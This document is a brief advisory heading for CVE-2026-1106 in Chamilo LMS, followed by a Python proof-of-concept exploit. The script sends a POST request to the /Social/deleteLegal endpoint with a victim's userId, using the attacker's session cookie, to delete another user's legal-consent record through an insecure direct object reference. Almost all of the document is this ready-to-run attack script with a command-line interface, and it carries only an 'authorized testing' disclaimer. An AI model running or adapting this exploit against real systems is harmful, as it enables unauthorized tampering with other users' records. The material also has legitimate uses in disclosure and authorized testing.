CVE-2026-1106 Chamilo LMS deleteLegal函数权限绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-1106 PoC - Chamilo LMS deleteLegal IDOR Vulnerability Note: This is a proof-of-concept for authorized security testing only """ import requests import sys def exploit_delete_legal(target_url, session_cookie, attacker_user_id, target_user_id): """ Exploit the IDOR vulnerability in Chamilo LMS deleteLegal function Args: target_url: Base URL of the Chamilo LMS instance session_cookie: Valid session cookie for authenticated user attacker_user_id: Attacker's own user ID target_user_id: Victim's user ID to delete legal consent for """ # The vulnerable endpoint endpoint = f"{target_url}/Social/deleteLegal" # Normal request (delete own legal consent) normal_params = { "userId": attacker_user_id } # Malicious request (delete victim's legal consent - IDOR) malicious_params = { "userId": target_user_id # Manipulated to target another user } headers = { "Cookie": f"{session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Target: {target_url}") print(f"[*] Attacker User ID: {attacker_user_id}") print(f"[*] Target User ID: {target_user_id}") # Send malicious request try: response = requests.post(endpoint, data=malicious_params, headers=headers) if response.status_code == 200: print("[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie> <attacker_id> <target_id>") sys.exit(1) exploit_delete_legal(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])